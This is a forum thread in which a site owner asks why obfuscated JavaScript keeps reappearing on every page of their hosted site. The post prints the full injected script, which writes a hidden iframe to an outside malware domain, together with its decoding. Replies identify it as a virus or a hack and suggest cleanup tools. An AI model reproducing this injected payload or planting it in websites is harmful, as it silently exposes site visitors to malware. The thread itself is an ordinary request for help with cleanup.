Jump to content
xisto Community
veerumits

Why Script Added In My Site Automatically java script with number added in script

Recommended Posts

the following script automatically added in my host site what i do i remove so many time but when i open file and see, it found in my site , it is not permanently remove in my site please have any sollution so script remove, this script added in each and every page of the host directory, ur welcome to advice me.

<script type="text/javascript">document.write(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,115,105,34,59,118,97,114,32,119,51,52,53,61,34,112,108,34,59,118,97,114,32,114,101,54,61,34,97,110,107,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>
After evaluation of above script we find that the meaning of this code is :
[var fggge3="si";var w345="pl";var re6="ank.";var rr="com";var a="if";var s="tt";document.write('<'+a+'rame src="h'+s+'p://'+fggge3+''+w345+''+re6+''+rr+'/'+'qqp/'+''+''+'" style="d'+'isplay:n'+'one">');var t=00001217;]
Final Evaulation we conclude that this is URL :
<a scr="http://siplank[dot]com/qqp/.." style="display:none"></a> var t=00001217;

any body have idea how this come in webpage plz suggest me i only reach this point ok.

Notice from rvalkass:

Code tags added. I've also broken the link the the malicious website.

Share this post


Link to post
Share on other sites

It's a virus by the looks of things. Is it added to the source code of every web page you visit, or just to pages on your website? If it is added to every page you visit then it looks like you have a virus on your computer, and you should remove it using an anti-virus application. The style of coding also suggests a virus.

Share this post


Link to post
Share on other sites

I can give a quick sight to see if your computer has something strange. Download HijackThis from (http://www.majorgeeks.com/files/details/hijackthis.html), install it, if you don't see any shortcut go to c:/program files/hijackthis (or wherever you installed it), and run the program, click Do a system scan and save a log, and come back and put the logs within code tags, and I will see if you have something strange.

Share this post


Link to post
Share on other sites

Yeah that is a virus or rather a script to go to a malware website and odds are you got your website hacked if that is the case, and so you have to go through all your pages and remove that code. Interestingly enough it seems that this could be browser specific and that it is targeting Google Chrome, or atl east how I interpret it from what other websites say about this bundle of code.

Share this post


Link to post
Share on other sites
script in web code pagesWhy Script Added In My Site Automatically

Hello all

 

I am getting following script in all my web pages, Is it a Virus ?

 

<script src=http://forums.xisto.com/no_longer_exists/ ></script>

 

Thanks

Gaurao

-reply by Gaurao Domle

 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.